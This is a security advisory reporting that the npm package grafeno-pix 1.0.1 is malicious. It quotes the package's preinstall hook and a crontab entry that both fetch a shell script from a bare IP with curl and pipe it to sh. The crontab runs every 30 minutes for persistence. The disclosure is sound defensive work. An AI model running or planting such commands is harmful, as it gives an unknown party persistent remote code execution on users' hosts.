MAL-2026-15507 Malicious code in grafeno-pix (npm)

[email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on npm install. The same hook installs a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh | sh) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.

The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.